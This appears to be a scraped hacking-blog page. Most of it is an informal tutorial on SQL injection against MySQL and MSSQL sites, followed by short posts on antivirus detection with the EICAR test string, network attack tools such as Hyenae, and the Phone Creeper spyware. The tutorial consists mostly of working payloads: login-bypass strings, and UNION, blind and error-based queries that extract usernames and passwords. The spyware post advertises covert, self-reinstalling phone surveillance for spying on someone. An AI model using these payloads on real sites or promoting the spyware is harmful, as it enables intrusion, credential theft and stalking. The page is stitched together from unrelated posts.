XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXX
# Mysql Blind-
Most fu*king part. I really hate this. :X :P :X
Q. what is Blind Sql Injection ?
A. Blind SQL Injection is used when a web application is vulnerable to an SQL injection but
the results of the injection are not visible to the attacker. The page with the
vulnerability may not be one that displays data but will display differently depending on
the results of a logical statement injected into the legitimate SQL statement called for
that page. This type of attack can become time-intensive because a new statement must be
crafted for each bit recovered. There are several tools that can automate these attacks once
the location of the vulnerability and the target information has been established.
-4-
C:\Users\Ash\Desktop\Advaned Sql Injection in Mysql + Mssql.txt 24 January 2011 03:14
^ copied it from wikipedia ;)
hope you understood. huh !! its 1:11am here in India...I'm very tired :'( :P :P but no
school tommorow coz it is sunday :D
Let's come to the point, enough of fun now !!
# when we want to test for mysql blind-
=> http://test.com/news.php?id=5 and 1=1
^ this is always trues :D & page loads normally :))
=> http://test.com/news.php?id=5 and 1=2
^ this one is Fake :X
so if some text, picture or some content is missing on returned page then that site is
vulrnable to blind sql injection.
# Getting Mysql version in blind sqlito
get the version in blind attack we use substring
i.e
=> http://test.com/news.php?id=5 and substring(@@version,1,1)=4
# this should return TRUE if the version of MySQL is 4.
# replace 4 with 5, and if query return TRUE then the version is 5.
# Test if subselect works
when select don't work then we use subselect
i.e
=> http://test.com/news.php?id=5 and (select 1)=1
# if page loads normally then subselects work.
Now, :D Let's see if we have access to => Mysql.user
=> http://test.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user and then later we can pull some password
usign load_file() function and OUTFILE.
# Check table and column names
# This is part when guessing of the game KBC works :D :))
that is,
=> http://test.com/news.php?id=5 and (select 1 from users limit 0,1)=1
-5-
C:\Users\Ash\Desktop\Advaned Sql Injection in Mysql + Mssql.txt 24 January 2011 03:14
(with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row,
this is very important.)
# then if the page loads normally without content missing, the table users exits.
# if you get FALSE (some article missing), just change table name until you guess the right
one :)
# let's say that I have found that table name is users, now what we need is column name !! :D
# The same as table name, we start guessing.
=> http://test.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users
limit 0,1)=1
#if the page loads normally we know that column name is password (if we get false then try
common names or just guess)
here we merge 1 with the column password, then substring returns the first character (,1,1)
# Pull data from database
I found table users i columns username password so I'm gonna pull characters from that.
=> http://test.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password)
from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length. ascii() converts that 1
character into ascii value
# and then compare it with simbol greater then > .
# so if the ascii char greater then 80, the page loads normally. (TRUE)
# keep trying until get false.
=> http://test.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password)
from users limit 0,1),1,1))>95
# we get TRUE, keep incrementing :D
=> http://test.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password)
from users limit 0,1),1,1))>98
TRUE again, higher :D
=> http://test.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password)
from users limit 0,1),1,1))>99
FALSE!!!
:D :D
# so the first character in username is char(99). Using the ascii converter we know that
-6-
C:\Users\Ash\Desktop\Advaned Sql Injection in Mysql + Mssql.txt 24 January 2011 03:14
char(99) is letter 'c'.
=>> then let's check the second character.
# http://test.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password)
from users limit 0,1),2,1))>99
# Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the
second character, 1 character in lenght)
=> http://test.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password)
from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher.
=> http://test.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password)
from users limit 0,1),1,1))>107
# FALSE, lower number.
=> http://test.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password)
from users limit 0,1),1,1))>104
# TRUE, higher.
http://test.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password)
from users limit 0,1),1,1))>105
# FALSE!!!
# we know that the second character is char(105) and that is 'i'. We have 'ci' so far
# so keep incrementing until you get the end. (when >0 returns false we know that we have
reach the end).
It is very very fucking boaring :P :'( :X
There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing
everything manually,
cause that makes you better INJ3CT0R :D
Finishing this Mysql part here. :P :P
next is mssql :P
==============================================================================================
========
##############################################################################################
##########
My head is paining like hell...I'll continue after few hours ;)
Lolz...I'm back after 24 hours :D
Mssql is the best part, I like it !! due to many reasons...everyn00b can't do it :P
I had learnt mssql injection from very good people like- Stranger(ICA),CWH Underground
-7-
C:\Users\Ash\Desktop\Advaned Sql Injection in Mysql + Mssql.txt 24 January 2011 03:14
[www.milw0rm.com/author/1456] & a book given to be my friend d3c0mil3r etc.
# MSsql Injection-
Hope you know how to test sqli vulnerablity, So I'm leaving that part.
# Bypassing Authenctication- common for n00bs:
+-----------------------------+
| ' or 1=1 -- |
| a' or 1=1 -- |
| " or 1=1 -- |
| a" or 1=1 -- |
| ' or 1=1 # |
| " or 1=1 # |
| or 1=1 -- |
| ' or 'x'='x |
| " or "x"="x |
| ') or ('x'='x |
| ") or ("x"="x |
| ' or username LIKE '%admin% |
+-----------------------------+
| USERNAME: ' or 1/* |
| PASSWORD: */ =1 -- |
+-----------------------------+
| USERNAME: admin' or 'a'='a |
| PASSWORD: '# |
+-----------------------------+
=> Mssql Injection with Union Attacl:
I love Union <3
I've this site to test upon my power => http://test.com/news.asp?id=1
Ok, Let's Start-
# First find out the number of columns, counting one by one is boaring :P so I'll use "Hit &
Trial Method", that I had learnt somewhere in Maths :D
ok. => http://test.com/news.asp?id=1 order by 6--
We'll hit, until we get a error like this one-
[error] Microsoft SQL Native Client error '80040e14'
The ORDER BY position number 5 is out of range of the number of items in the select
list.
/showthread.asp, line 9
[/error]
again trying to hit,
=> http://test.com/news.asp?id=1 order by 4--
whoa !! worked :D
# Now I'll use union again-
-8-
C:\Users\Ash\Desktop\Advaned Sql Injection in Mysql + Mssql.txt 24 January 2011 03:14
=> http://test.com/news.asp?id=1 and 1=2 union select 11,22,33,44--
# We will see "11" or "22" or "33" or "44" appeared on some point in returned page.
WOW ! i found 44 on my laptop's screen, so i'll replace 44 with @@version
=> http://test.com/news.asp?id=1 and 1=2 union select 11,22,33,@@version--
^ So, this gives me the version Information.
Let's continue in grabbing the rest data, I'm using information_schema, as like we did in
Mysql :P
I think concat do not works in mssql, never tried also, if working also, I don't know how to
! :P coz I'm just a 10th std student. No idea abt sql :P
So the next,
=> http://test.com/news.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from
information_schema.tables--
^ this gives me the name of first table, i.e => threads
I'll use the first table to get the next one & so on...untill u get what u want
=> http://test.com/news.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from
information_schema.tables where table_name not in ('threads')--
^ This gives me the name of the next table, i.e.=> users :D
Users is the required table for me which contains the info I need :D
=> http://test.com/news.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from
information_schema.columns where table_name='users'--
^ this gives me the column name,i.e,uname. as we did to find the tables. same we'll do with
columns. Ok? :)
=> http://test.com/news.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from
information_schema.columns where table_name='users' and
column_name not in ('uname')--
^ this gives me the next column,i.e, upass :D
Lolz, now I need data from these two columns :D
=> http://site.com/news.asp?id=1 and 1=2 UNION SELECT 11,22,33,uname from users--
^ same with upass
this time my uname is admin. so to find next row, we do
=> http://site.com/news.asp?id=1 and 1=2 UNION SELECT 11,22,33,uname from users where uname
not in ('admin')--
further as well, we can extract the rest of the data. hope you understood this much !!
-9-
C:\Users\Ash\Desktop\Advaned Sql Injection in Mysql + Mssql.txt 24 January 2011 03:14
Now next part is mssql blind :D
==============================================================================================
====
# Mssql blind :
# testing-
=> http://test.com/news.asp?id=1 and 1=1
another one => http://test.com/news.asp?id=1 and 1=2
If these two give different results that simply means that the fucking site is vulnerable to
Mssql blind :D :P :x
# I'm copy pasting some queries from my notes :P :D
=> http://test.com/news.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT
LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
^ your idea of picking the ascii code can be Different. :D :P
^ valid :(
hit it againhttp://
test.com/news.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS
varchar(8000)),1,1)),0)>120
^
in this case result will be like 1=2
next we try,
http://test.com/news.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS
varchar(8000)),1,1)),0)>105
I tried with these-
# >112-Invalid
# >108-Valid
# >110-Invalid
# >109-Invalid
So therefore, ascii value is equal to => 109 :)
=> http://test.com/news.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT
LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=109
Rest on your own...keep manipulating to get info :P
# Getting Table name- one of the hardest part, finding each character of table is really
boaring :P
use automated tools for this :P the queries are very complicated here :x
Let's start-
-10-
C:\Users\Ash\Desktop\Advaned Sql Injection in Mysql + Mssql.txt 24 January 2011 03:14
=> http://test.com/news.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM
sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),1,1)),0)>97
^ this one is used to get first character of first table.
second character:
=> http://test.com/news.asp?id-1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM
sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),2,1)),0)>97
and so on....I'm not gonna dwell on it :P
# Getting column name-
=> http://test.com/news.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM
sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),2,1)),0)>97
Change the table name to mssql char, example if it is users change it tochar(
117)+char(115)+char(101)+char(114)
# 2nd character-
=> http://test.com/news.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT
(SELECT COUNT(i.colid)rid FROM
syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE
name='tablename'))x,name FROM syscolumns o WHERE
id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS
varchar(8000)),2,1)),0)>97
& so on....Now finishing this mssql blind.
==============================================================================================
=========================
### Mssql Error based-
Types-
# ODBC Error Message Attack with "HAVING" and "GROUP BY"
# ODBC Error Message Attack with "CONVERT"
# Soap (not including soap in this paper)
Let's start with
# ODBC Error Message Attack with "HAVING" and "GROUP BY"--->
I'll inject having command now,
=> http://test.com/news.asp?id=1 having 1=1--
getting some error...err
-11-
C:\Users\Ash\Desktop\Advaned Sql Injection in Mysql + Mssql.txt 24 January 2011 03:14
[error]
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in
the select list because it is not contained in an aggreate function and there is no
GROUP BY clause.
[/error]
it shows table name is news & one column => news_id is contained in it :P
# combining having & group by
=> http://test.com/news.asp?id=1 GROUP BY news.news_id HAVING 1=1--
[error]
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_author' is invalid
in
the select list because it is not contained in an aggreate function and there is no
GROUP BY clause.
[/error]
it shows second column of first table is news_author :D
third column can be obtained using the 2nd one
=> http://test.com/news.asp?id=1 GROUP BY news.news_id,news.news_author HAVING 1=1--
[error]
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid
in
the select list because it is not contained in an aggreate function and there is no
GROUP BY clause.
[/error]
third column is => news_detail
and so on...
Now,
## ODBC Error Message Attack with "CONVERT"-
here I'll show you how to grab, MSSQL_Version, DB_name, User_name.
=> http://test.com/news.asp?id=1+and+1=convert(int,@@version)--
[error]
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 -
9.00.3042.00 (Intel X86) Feb 9 2007
22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT
5.2 (Build 3790: Service Pack 1)
-12-
C:\Users\Ash\Desktop\Advaned Sql Injection in Mysql + Mssql.txt 24 January 2011 03:14
' to data type int.
/page.asp, line 9
[/error]
therefore I know => the version of MSSQL and OS (Windows 2003 Server)
other things u can grab by replacing @@version with-
# db_name()
# user_name()
if in the user name it gives => Sa
it means you can use Xp_cmdshell, that will I'll tell u later, to enable rdp i.e. remote
desktop & hack the whole box :P :D
# Obtaining tables-
=>
http://site.com/news.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_sche
ma.tables))--
Result is threads, so
Next one,
=>
http://test.com/news.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_sche
ma.tables+where+table_name+
not+in+('threads')))--
& so now...you can continue further now.
Next table for me is users that i founded using the threads one..! So now i need columns
from the table threads, Okay ? :)
# Finding columns
=>
http://test.com/news.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_sch
ema.columns+where+table_name='users'))--
[error]
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'uname' to data type int.
/showthread.asp, line 9
[/error]
First column is Uname ;)
So I continue
=>
http://test.com/news.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_sch
ema.columns+where+table_name='users'+
and+column_name+not+in+('uname')))--
-13-
C:\Users\Ash\Desktop\Advaned Sql Injection in Mysql + Mssql.txt 24 January 2011 03:14
^ as we had done earlier :D
[error]
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'upass' to data type int.
/showthread.asp, line 9
[/error]
For getting more column names,
we only append a known table list like that in getting table names.
# extracting data
=> http://test.com/news.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users))--
[error]
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'admin' to data type int.
/page.asp, line 9
[/error]
same with upass ;)
Rest you are now on your own In mssql ;)
I'm leaving it here....it is much of done !!! now the thing left is that to use your brain. ;)
# Soap Injection-
Leaving this part :P I'll later make a paper on it ;)
end of MSsql ... :P
# Xp_cmdshell
I'd recommend to use some automated tools, I'm not in mood of writing on xp_cmdshell, though
it consists of simple cmd commands to activate rdp & using net user u can add an account.
but complicated queries.
========================================================================
############################################################################################
# References-
# Hackforums.net
# www.hackersbay.in
# Academyofhacking.com
# Indishell.in
# packetstormsecurity.org
############################
Greetz To-
###
greetz- C00lt04d,Cyb3rgr00f,Reb0rn,c0d3br34k3r,3thicaln00b,Cyb3rS4m,g00gl3 w4rri0r & All my
friends at AOH & Indishell.
special thanks- H4ck0lic, Bad Man :)
##########################################################################################


download link for pdf

How Antivirus Software identifies threats

Most of us are aware how Antivirus Works and updates. As ever increasing threat from virus and other malicious programs, almost every computer today comes with a pre-installed antivirus software on it. In fact, an antivirus has become one of the most essential software package for every computer. Even though every one of us have an antivirus software installed on our computers, only a few really bother to understand how it actually works and updates.

An antivirus software typically uses a variety of strategies in detecting and removing viruses, worms and other malware programs.

1. Signature-based detection – Dictionary based
2. Heuristic-based detection – Suspicious behavior based

1. Signature-based detection – Dictionary based

This is the most commonly employed method which involves searching for known patterns of virus within a given file. Every antivirus software will have a dictionary of sample malware codes called signatures in it’s database. Whenever a file is examined, the antivirus refers to the dictionary of sample codes present within it’s database and compares the same with the current file. If the piece of code within the file matches with the one in it’s dictionary then it is flagged and proper action is taken immediately so as to stop the virus from further replicating. The antivirus may choose to repair the file, quarantine or delete it permanently based on it’s potential risk.

As new viruses and malwares are created and released every day, this method of detection cannot defend against new malwares unless their samples are collected and signatures are released by the antivirus software company. Some companies may also encourage the users to upload new viruses or variants, so that the virus can be analyzed and the signature can be added to the dictionary.

More and regular the updates more secure we are.

2. Heuristic-based detection Suspicious behavior based

Heuristic-based detection involves identifying suspicious behavior from any given program which might indicate a potential risk. This approach is used by some of the sophisticated antivirus software’s to identify new malware and variants of known malware. Unlike the signature based approach, here the antivirus doesn’t attempt to identify known viruses, but instead monitors the behavior of all programs.

File emulation- This is another type of heuristic-based approach where a given program is executed in a virtual environment and the actions performed by it are logged. Based on the actions logged, the antivirus software can determine if the program is malicious or not and carry out necessary actions in order to clean the infection.

How to check your anti virus weather it does the work you haired it for?

European Institute of Computer Antivirus Research – EICAR Test makes it easy. It is a common test and most of us can perform it right now!
1. Open a notepad (New Text Document.TXT) and copy the following code exactly onto it, and save the notepad.
EICAR Test Code:
1

X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

2. Rename the file from New Text Document.TXT to mynewfile.com
3. Now run the antivirus scan on this mynewfile.com file.

If the antivirus is functioning properly on your computer, then it should generate a warning and immediately delete the file upon scanning. Otherwise find a new one.

Nmapsi: A NMAP GUI

Yet another nmap GUI – NmapSi is a complete Qt-based GUI with the design goals to provide a complete nmap interface for users. This is done for in order to provide easy management of all nmap options.

Features:

• Traceroute
• Dns Lookup
• Search Vulnerabilities
• Full Scan

Currently supports *nix operating systems. Other versions also support the Windows operating systems.

Download NMapSi4 v0.2.1 (nmapsi4-0.2.1.tar.gz/nmapsi4-0.2.1-win32.exe) here

Hyenae: A Platform Independent Network Packet Generator

Hyenae is a highly flexible platform independent network packet generator. It allows you to reproduce several MITM, DoS and DDoS attack scenarios, comes with a clusterable remote daemon and an interactive attack assistant.

Hyenae can be used to reveal potential security vulnerabilities of your network. Besides smart wildcard-based address randomization, a highly customizable packet generation control, and an interactive attack assistant, Hyenae comes with a clusterable remote daemon for setting up distributed attack networks.

Hyenae used by security experts to protect their own networks by attack our their networks before someone else does. This tool can be used to evaluate new security devices how it reacts on different types of attacks. For POC of different web applications , network application, database applications and other customized application of your environment.
In small words Hyenae ca be used for stress test of different applications and devices.

note:this tool might look like just another tool but dont go on looks its really powerful and elastic


Download Hyenae v0.36-1 (hyenae-0.36-1.tar.gz/hyenae-0.36-1_fe_0.1-1-win32.exe) here.

Droidmap: Nmap for Android Phones

Personally I am a android lover and i was very upset when SET and Metasploit were released for iphone and object neopwn :D But here is a good news for android lovers.Nmap is released for android also

 droidmap is an android application for root users that implements some functions of NMAP in a GUI in Android. This program comes with installer scripts for the installation of the required NMAP application that must be run to install the program to your phone. Please note that the installation process requires a Linux environment running the Android developer tools from the SDK and this program requires the Android Debug Bridge (adb) for installation.

This tool will be really handy for engineers who are on roaming profile and need to find quick result for their customers.
Download droidmap v0.0.1 (droidmap-0.01.tar.gz) here

Phone Creeper: A Windows Phone Espionage Suite

For some time now, there were spy apps for Symbian phones and BlackBerry’s too! Surprisingly, there none for the Windows Mobile operating system. More so, because applications like these are sold for a fee. Phone Creeper will change it all!

Phone Creeper is a phone espionage suite that is being actively developed for sometime now. It can be silently installed by just inserting an SD card with the files included in the package. As is the requirement of all spy tools, the program does not show up under installed programs or running programs and allows for a useful array or features. Best of all, phones running this software can be remotely controlled by text messages! This could ensure a longer battery life as it does not need bluetooth or infrared connection. Plus, with BT and IR, you need to be in a fixed radius to get best results. Yes, this does add to the text messaging costs and if the user were to grow suspicious with rising bills, chances are that this tool could be removed from the phone. But, worry not! By default, this program will silently reinstall itself even after a hard reset, if the memory card with these files is still in the device. If only the memory card is not formatted, this feature will help us a lot!

All commands will be silently received and deleted immediately and results will be issued back to sender. Pre-configured settings can be added to the installer to have your own default password and phone number to receive live updates. It does all the normal spy stuff – get phone records, get GPS info etc.

These are the commands that you can possibly use to err spy on some one:

The mother of all commands:

1

password FTPgetcalllogs - To receive any log by FTP, you can pre-seed any get com By default, the password is set to the creators name – chetstriker. So, you will have to reset it to something of your choice before actively using it. If only there was a command to stop the text messaging counter to be fixed to a certain number! I have never used a Windows Mobile and so this was a first for me when I got to know that the WM phone has FTP too! If you infect yourself by accident, the author has been gracious enough to provide a Phone Creeper uninstaller too!

 Download Phone Creeper v0.98 (PhoneCreeper_V0.98.cab) and it’s uninstaller (RemoveCreeper.zip) here.